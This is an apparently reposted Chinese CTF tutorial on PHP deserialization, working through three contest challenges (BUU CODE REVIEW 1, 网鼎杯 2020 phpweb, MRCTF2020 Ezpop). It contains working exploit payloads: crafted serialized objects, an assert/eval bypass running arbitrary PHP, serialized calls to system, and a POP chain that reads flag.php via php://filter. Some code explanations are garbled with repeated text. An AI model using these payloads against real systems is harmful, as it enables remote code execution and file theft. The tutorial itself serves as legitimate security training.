CTF-PHP反序列化漏洞4-实例理解POP链(经典赛题)

news2024/11/19 9:27:33

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

  1. CTF-PHP反序列化漏洞1-基础知识
  2. phpstudy本地环境搭建图文教程
  3. CTF-PHP反序列化漏洞2-利用魔法函数
  4. CTF-PHP反序列化漏洞3-构造POP链

本文目录

  • 1. BUU CODE REVIEW 1
  • 2. [网鼎杯 2020 朱雀组]phpweb
  • 3. [MRCTF2020]Ezpop

本章节继续上一篇文章 CTF-PHP反序列化漏洞3-构造POP链,对POP链精选一些比赛真题,来加深理解~

1. BUU CODE REVIEW 1

题目靶场环境 一个免费的赛题靶场,注册即可使用。

  • 题目源码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
  • 题目分析

这是一段 PHP 代码,主要包括一个 BUU 类和一个条件判断。下面我们逐行解释。

highlight_file(__FILE__);

此行代码用于将当前文件以 HTML 格式高亮显示。

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

这段代码定义了一个 BUU 类,其中包含两个属性:correct 和 input。__destruct 方法是 PHP 中的魔术方法,会在对象被销毁时自动调用。此方法中,首先使用 base64_encode() 函数生成一个随机字符串并赋值给 correct 属性。然后判断 correct 和 input 是否相等,如果相等则输出 /flag 文件的内容。需要注意的是,如果在 try 代码块中发生异常,异常将被捕获并不做处理。

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

这段代码包含一个条件判断,如果满足以下三个条件,则会调用 unserialize() 函数:

$_GET[‘pleaseget’] 的值为字符串 ‘1’;
$_POST[‘pleasepost’] 的值为字符串 ‘2’;
$_POST[‘md51’] 和 $_POST[‘md52’] 的 MD5 值相等且两者不相等。
需要注意的是,unserialize() 函数用于将序列化的字符串转换为 PHP 对象或数组。在此处,我们可以通过序列化一个 BUU 对象来触发 __destruct() 方法,从而达到输出 /flag 的目的。

  • 解题思路
  1. 分析源码可知,反序列化后满足相关参数判断后,可返回/flag内容

  2. 相关参数要求

    • GET传参: pleaseget=1
    • POST传参: pleasepost=2
    • POST传参: md51 !=md52 但是要满足md5(md51) ==md5(md52)

    使用数组参数绕过,满足
    md51[]=1&md52[]=2

    • input值永远等于correct correct是系统随机生成

    使用序列化引用R类型绕过比对,R:序号 下文会讲解

  3. POC

<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$buu = new BUU();
echo serialize($buu);
?>

// 原始输出结果
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}
// 修改后结果 R引用
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

在这里插入图片描述
知识点:R引用

在 PHP 中,R 代表引用(Reference),它可以让多个变量指向同一个值,从而节省内存空间。
在上面的序列化字符串中,R:2 表示这个变量的值是第二个出现的变量的值的引用。换句话说,这个变量和第二个变量指向同一个值。

下面是一个示例代码,演示如何使用引用:(序列化字符串用R,代码中用符号&,请注意)

// 定义一个变量 $a
$a = 10;

// 定义一个变量 $b,让它指向 $a 的值
$b = &$a;

// 修改 $b 的值
$b = 20;

// 输出 $a 和 $b 的值
echo $a; // 输出 20
echo $b; // 输出 20

在上面的代码中,变量 $b 使用了 & 运算符来引用变量 $a 的值,因此当修改 b的值时,b 的值时,b的值时,a 的值也会改变。

2. [网鼎杯 2020 朱雀组]phpweb

题目靶场

这道题目很有意思,有两种解题思路,第一种是命令执行,第二种是反序列化漏洞。都给大家将讲讲~

  • 题目
    是一个变态网页,大家自行观摩吧,我就不放图了。
  • 解题思路
  1. 因为网页实在变态,不想再看到,所以就通过查看网页原代码,来间接观摩了,果然发现赛题点~
    在这里插入图片描述
  2. 同步使用burp工具,查看数据包发现可疑数据包,类似于动态命令执行。
    在这里插入图片描述
  3. 尝试构造数据包读取index.php源码,读取成功,发现敏感代码
    在这里插入图片描述
    func=file_get_contents&p=index.php
    响应的php代码提取如下
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码分析:

这段代码首先定义了一个数组disablefun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数disable_fun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数disable fun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数func和p,使用calluserfunc函数调用p,使用call_user_func函数调用p,使用call user func函数调用func函数并传入参数p,然后判断返回值类型,如果是字符串则返回该字符串,否则返回空字符串。

接着定义了一个类Test,其中有两个属性p和p和p和func,分别存储了时间格式和要调用的函数名。在类的析构函数__destruc中,如果func不为空,则调用gettime函数并传入func不为空,则调用gettime函数并传入func不为空,则调用gettime函数并传入func和p,输出返回值。

最后从REQUEST中获取_REQUEST中获取 REQUEST中获取func和p,如果p,如果p,如果func不为空,则将其转换为小写,并判断是否在$disable_fun数组中,如果不在则调用gettime函数并输出返回值,否则输出"Hacker…"并终止程序。

这段代码的作用是接收用户传入的函数名和参数,调用该函数并输出返回值,但同时禁用了一些危险的函数。但是该代码存在一些安全漏洞。

补充知识点:
这里面要着重讲一下上面出现的危险函数call_user_func 看到这个本能就要想到PHP的动态函数执行漏洞

PHP的动态函数执行漏洞 本系列的其他文章会详细介绍

在 PHP 中,call_user_func() 函数的作用是动态地调用一个函数或者方法。它接受一个或多个参数,第一个参数是要调用的函数或方法的名称,后面的参数则是传递给该函数或方法的参数。

使用call_user_func()函数可以实现动态调用函数或方法,这在某些情况下非常有用。例如,当你需要在运行时确定调用哪个函数或方法时,或者需要根据用户的输入来调用不同的函数或方法时,可以使用该函数。

下面是一个使用call_user_func()函数调用函数的例子:

function testFunction($arg1, $arg2) {
    echo "arg1 = $arg1, arg2 = $arg2";
}

call_user_func('testFunction', 'hello', 'world');

输出:

arg1 = hello, arg2 = world

在这个例子中,我们定义了一个testFunction()函数,然后使用call_user_func()函数来调用它,并传递两个参数。函数执行后,输出了两个参数的值。

除了调用普通函数外,call_user_func()函数还可以用来调用类的静态方法和对象的方法。下面是一个使用call_user_func()函数调用类的静态方法的例子:
3. 分析源码发现几乎全部可用函数被过滤和反序列化可利用的魔法函数

class TestClass {
    public static function testMethod($arg1, $arg2) {
        echo "arg1 = $arg1, arg2 = $arg2";
    }
}

call_user_func(array('TestClass', 'testMethod'), 'hello', 'world');

输出:

arg1 = hello, arg2 = world

在这个例子中,我们定义了一个TestClass类,其中有一个静态方法testMethod()。我们使用call_user_func()函数来调用这个静态方法,并传递两个参数。函数执行后,输出了两个参数的值。

总之,call_user_func()函数提供了一种灵活的方式来动态调用函数或方法,使得代码更加可扩展和可重用。

扩充知识点讲解完毕,下面再回到解题思路中

看过上面的代码后会有两种解题思路。

方法一:正面绕过过滤函数 func=\assert 记住这种方法即可函数前加\

// 结果通过页面源码查看哦
?func=\assert&p=eval($_GET[1234])&1234=phpinfo();
?func=\assert&p=eval($_GET[1234])&1234=var_dump(scandir("/"));
?func=\assert&p=eval($_GET[1234])&1234=var_dump(scandir("/tmp")); // 获取到文件名flagoefiu4r93
?func=\assert&p=eval($_GET[1234])&1234=readfile("/tmp/flagoefiu4r93");  // highlight_file也可以

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
方法二:通过反序列化,过滤函数均会失效。
poc构造

<?php
class Test {
  var $p = "ls /";
  var $func = "system";
}
$test = new Test();
echo serialize($test);
?>
# O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

在这里插入图片描述
在这里插入图片描述
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
后续就是不停修改序列化poc就行了,最终获取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

在这里插入图片描述

3. [MRCTF2020]Ezpop

靶场地址 [MRCTF2020]Ezpop
● 题目

此题思路类似,上一篇文章的例题。

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
  • 解题思路
  1. pop链
    pop->Show#__wakeup()->source->Show# __toString()->str->Test#__get()->p->Modifier#__invoke() // pop是Show的对象,source是Show的对象,str是Test的对象,p是Modifier的对象
  1. ⽬标是⽤append属性读取flag 就要调⽤invoke函数
  2. invoke函数调⽤⽅法:调⽤函数的⽅式调⽤⼀个对象时的回应⽅法⽽Test类中的get()⽅法会把变量按函数调⽤也就是当p指定为Modifier的⼀个对象时候会触发所以我们思路转换成get()的触发⽅式
  3. get()函数 当读取不可访问属性 我们这⾥new ⼀个show对象 把它的属性str传给Test对象 因为并没有这个属性所以会触发str属性出现在toString函数中
  4. toString的调⽤⽅法 当⼀个对象被当作⼀个字符串使⽤因为序列化会⾃动调⽤wakeup()函数 preg_match 会把正则和字符串匹配 我们new⼀个show对象给source传⼊另⼀个show对象 成功触发
    注意的是 var的修饰符为protected 会变为%00这种形式 所以我们输出时候可以加⼀层urlencode
  1. 构造攻击POC
<?php
  class Modifier {
  protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
  public $source;
  public $str;
}

class Test{
  public $p;
}

$modifier = new Modifier();
$show = new Show();
$test = new Test();

$test->p=$modifier;
$show->source=$show;
$show->str=$test;

$result =  serialize($show);
echo urlencode($result);
?>
// 输出结果 
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

构造payload
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

  1. 结果base64解码
    PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Y1MzMzYzNkLTdiOTEtNDQ4Mi04MjhhLWRmOWRhMDUxNWEyZH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
    flag{f5333c3d-7b91-4482-828a-df9da0515a2d}
    在这里插入图片描述

以上就是pop链相关内容,下一篇文章将会介绍反序列化中另一种考点,反序列化字符串逃逸

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/502658.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件测试 - 缺陷管理

1. 缺陷的定义 产品不满足用户的需求或者测试执行时实际结果和预期结果不一致都属于缺陷。 2. 缺陷的判定标准及产生原因 软件不满足下述任何一种都算作是软件的缺陷&#xff0c;缺陷的概念是包括bug概念的。 未达到需求说明书指明的功能出现了需求说明书指明不应该出现的错…

cordova-10 打apk

Android升级到api 31后&#xff0c;ionic打出来的release包默认是一个aab文件&#xff0c;要想走以前的手动签名和zipalign的流程我需要打一个没有签名的apk的包&#xff0c;参考以下文章&#xff1a; Android Platform Guide - Apache Cordova Ionic Cordova Build for Andro…

Ubuntu: 搭建 NFS 服务器

文章目录 1. 前言2. 测试环境3. NFS 服务器搭建3.1 安装 NFS 服务3.2 导出 NFS 共享目录3.3 重启 NFS 服务 4. 客户端连接 NFS 服务端5. VMware Ubuntu6. Linux 内核 NFS 支持 1. 前言 限于作者能力水平&#xff0c;本文可能存在谬误&#xff0c;因此而给读者带来的损失&…

Seurat -- 数据集的整合

文章目录 briefPerforming integration on datasets normalized with LogNormalizePerforming integration on datasets normalized with SCTransform brief 这里主要根据seurat的教程走的&#xff0c;描述了多个单细胞数据集的整合&#xff0c;其中数据集的integration并不是…

java的对象模型

背过面试题的朋友都知道&#xff0c;Java对象是保存在堆内存中&#xff0c;在内存中&#xff0c;一个Java对象包含三部分&#xff1a;对象头&#xff0c;实例数据&#xff0c;对其填充。其中对象头是一个很关键的部分&#xff0c;因为对象头中包含锁状态标志&#xff0c;线程持…

使用MindSDK的at-server组件开发从机模组

使用MindSDK的at-server组件开发从机模组 文章目录 使用MindSDK的at-server组件开发从机模组引言AT命令应用场景AT命令技术简介MindSDK中的at-server组件及样例工程at_port.cat_cmd_led.cmain.c 基于AT命令的人机交互应用使用串口调试助手软件发送AT命令使用Python脚本发送AT命…

Java高阶数据结构 并查集 最小生成树

并查集与最小生成树 文章目录 Java高阶数据结构 & 并查集 & 最小生成树1. 并查集1.1 并查集的原理1.1.1 例子&#xff1a;1.1.2 这样存储有什么好处呢&#xff1f; 1.2 并查集的代码实现1.2.1 类的定义与属性1.2.2 构造方法1.2.3 获取下标的方法1.2.4 获得根节点1.2.5 …

1.SpringCloud技术实用02

SpringCloud技术实用02 0.学习目标 1.Nacos配置管理 Nacos除了可以做注册中心&#xff0c;同样可以做配置管理来使用。 1.1.统一配置管理 当微服务部署的实例越来越多&#xff0c;达到数十、数百时&#xff0c;逐个修改微服务配置就会让人抓狂&#xff0c;而且很容易出错。…

ES+Redis+MySQL 高可用架构设计

一、背景 二、ES高可用方案 三、会员Redis缓存方案 四、高可用会员主库方案 五、异常会员关系治理 六、展望&#xff1a;更精细化的流控和降级策略 一、背景 会员系统是一种基础系统&#xff0c;跟公司所有业务线的下单主流程密切相关。如果会员系统出故障&#xff0c;会…

网络安全信息收集初探之域名信息收集

网络安全信息收集初探之域名信息收集 域名信息收集工具oneforall收集子域名扫描单个域名批量扫描域名oneforall 额外参数 google hacking 证书收集子域名证书子域名在线收集网站子域名收集的各种细节 域名信息收集工具 oneforall收集子域名 扫描单个域名 python oneforall.p…

进阶自动化测试,这3点你一定要知道的...

自动化测试指软件测试的自动化&#xff0c;在预设状态下运行应用程序或系统&#xff0c;预设条件包括正常和异常&#xff0c;最后评估运行结果。将人为驱动的测试行为转化为机器执行的过程。 自动化测试框架一般可以分为两个层次&#xff0c;上层是管理整个自动化测试的开发&a…

云渲染农场具有什么特点?

众所周知&#xff0c;渲染农场的出现是为了解决长时间的图像渲染问题。渲染农场的底层搭建原理是利用很多计算机、网络和操作系统来构建一个庞大的计算群组&#xff0c;把一个渲染任务从一台机器分发到这个计算群组&#xff0c;从而达到短时间内能够快速得到渲染结果。 到了20…

分布式搜索引擎es 面试突击

es elastocsearch 倒排索引是在数据查询之前建立&#xff0c;在查询的时候可以直接通过关键词定位到文档内容。用空间换时间 分布式架构原理说一下&#xff1f; es底层是基于lucene来的 大概就是一个用于全文检索的jar包 用es来做分布式的搜索引擎 可以承载一秒钟几千的…

【Vue工程】005-Vue Router

【Vue工程】005-Vue Router 文章目录 【Vue工程】005-Vue Router一、概述1、Slogan2、官网3、参考文章 二、安装三、基本使用1、定义路由2、创建路由实例3、在 main.ts 注册路由4、在 App.vue 定义路由出口 四、嵌套路由1、修改路由2、定义嵌套路由出口 五、配置404页面六、声明…

联合索引该如何选择合适的列?

前面一篇文章&#xff0c;松哥和大家聊了 MySQL 中的索引合并&#xff0c;虽然 MySQL 提供了索引合并机制来提升 SQL 执行的效率&#xff0c;然而在具体实践中&#xff0c;如果能避免发生索引合并是最好的&#xff0c;毕竟这是没办法的办法&#xff0c;是一个下下策。发生索引合…

Wikidata 模型分析+实体抽取+数据处理

Wikidata 数据分析与处理 需求&#xff1a;Wikidata 数据描述了很多实体&#xff0c;以及实体属性。比如某一个公司/组织/机构名称是&#xff1a;阿里巴巴&#xff0c;对数据内该组织的相关属性进行观察、分析、治理、抽取等&#xff0c;最后用图数据库进行存储和展示其关系&am…

为什么半导体FAB生产线需要EAP系统?

在半导体制造中&#xff0c;设备自动化系统EAP&#xff08;Equipment Automation Program&#xff09;是不可或缺的重要软件&#xff0c;它是连接MES、RMS、APC、FDC等上层系统和设备层的桥梁&#xff0c;用于管控生产线上的所有机台&#xff0c;并实现设备运行的自动化。 作为…

QT+OpenGL高级数据和高级GLSL

QTOpenGL高级数据和高级GLSL 本篇完整工程见gitee:QtOpenGL 对应点的tag&#xff0c;由turbolove提供技术支持&#xff0c;您可以关注博主或者私信博主 高级数据 OpenGL中的缓冲区 对象管理特定的GPU内存 在将缓冲区绑定到特定的缓冲区目标时候赋予它意义 OpenGL在内部会保…

项目环境配置、不知晓问题自己搜索后得到的解答

目录 Anolis OS龙蜥操作系统 Kernel Selection 4.18.0(RHCK) Compatible with RHEL (kernel-4.18.0) 4.19.91(ANCK) Support Anolis OS verified platform (kernel-4.19.91) 这两个内核选择哪个比较好呢&#xff1f; 我的C盘有些满&#xff0c;我该如何删除一些我需要的东西…

docker网络访问和端口映射

docker网络访问和端口映射 文章目录 docker网络访问和端口映射1.docker容器网络1.1.创建一个centos7的容器1.2.docker网络原理图 2.端口映射2.1.创建一个新的IP2.2.多个IP端口映射2.3.随机端口命令 1.docker容器网络 指定映射&#xff08;docker 会 自动添加一条iptables规则来…